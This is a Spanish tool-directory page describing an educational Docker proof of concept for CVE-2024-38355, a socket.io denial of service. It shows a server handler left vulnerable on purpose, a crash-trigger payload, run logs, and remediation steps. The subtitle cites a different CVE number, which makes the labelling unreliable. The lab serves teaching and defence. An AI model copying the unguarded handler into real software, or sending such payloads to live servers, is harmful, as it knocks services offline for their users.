Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-38355-PoC — Prueba de concepto de CVE-2024-47554 | Kitploit
Herramientas/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y Educación
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

Prueba de concepto de CVE-2024-47554

Ver Repositorio
1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-38355 Demo (Caída de Socket.IO)

Este proyecto es una prueba de concepto que demuestra CVE-2024-38355, una vulnerabilidad de denegación de servicio en socket.io. El proyecto fue creado con fines educativos para mostrar el mecanismo de ataque y cómo proteger las aplicaciones.

Acerca de la vulnerabilidad (CVE-2024-38355)

Esta vulnerabilidad afecta a las versiones de socket.io:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

Un paquete Socket.IO especialmente manipulado puede desencadenar una excepción no capturada en el servidor, provocando que el proceso de Node.js se bloquee. Esto resulta en un ataque de Denegación de Servicio (DoS).

Cómo funciona:

  1. El cliente se conecta normalmente al servidor de Socket.IO.
  2. El cliente envía un evento/paquete malicioso que provoca un error en el servidor.
  3. Si el código del servidor lanza una excepción (por ejemplo, al procesar entrada no confiable) y no hay un manejador de errores en el socket, la excepción no capturada bloquea todo el proceso de Node.js.
  4. El servidor deja de estar disponible para todos los usuarios.

Factores clave:

  • La ausencia de un escuchador del evento error en el socket
  • Código del lado del servidor que puede lanzar excepciones al procesar datos del cliente
  • La ausencia de un manejador global de excepciones no capturadas

Estructura del Proyecto

El proyecto consta de dos contenedores Docker:

  1. vulnerable-server: Un servidor Node.js que usa la versión vulnerable [email protected]. Tiene un manejador de eventos que puede lanzar una excepción no capturada al recibir datos maliciosos.
  2. exploit-client: Un script de Node.js que se conecta al servidor, primero prueba el funcionamiento normal y luego envía un payload que bloquea el servidor.

Requisitos

  • Docker
  • Docker Compose

O alternativamente:

  • Node.js 18+
  • npm

Cómo Ejecutar

Opción 1: Usar Docker Compose (Recomendado)

Abre una terminal en el directorio raíz del proyecto y ejecuta:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

Esto hará lo siguiente:

  1. Construirá las imágenes del servidor y del cliente.
  2. Iniciará el servidor en el puerto 3000.
  3. Iniciará el cliente de exploit, que atacará automáticamente y bloqueará el servidor.

Opción 2: Ejecutar Localmente (Sin Docker)

Terminal 1 - Inicia el servidor:

root@kitploit:~
cd server
npm install
npm start

Terminal 2 - Ejecuta el exploit:

root@kitploit:~
cd exploit
npm install
npm start

Salida Esperada

Registros del servidor:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

Registros del exploit:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

Detener

Presiona Ctrl+C o ejecuta:

root@kitploit:~
docker-compose down

Análisis del Código

Servidor Vulnerable (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

Exploit (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

¿Cómo Solucionarlo?

Para proteger tu aplicación de esta vulnerabilidad:

  1. Actualiza socket.io a la versión 4.6.2 o superior (la corrección añade un manejador de errores noop por defecto).

  2. Adjunta siempre manejadores de errores a los sockets:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. Envuelve los manejadores de eventos en try-catch:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. Añade un manejador global de excepciones no capturadas (como último recurso):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

Referencias

  • CVE-2024-38355 en NVD
  • Aviso de Seguridad de GitHub GHSA-25hc-qcg6-38wj
  • Commit de corrección

Proyecto creado con fines educativos.

Descargar herramienta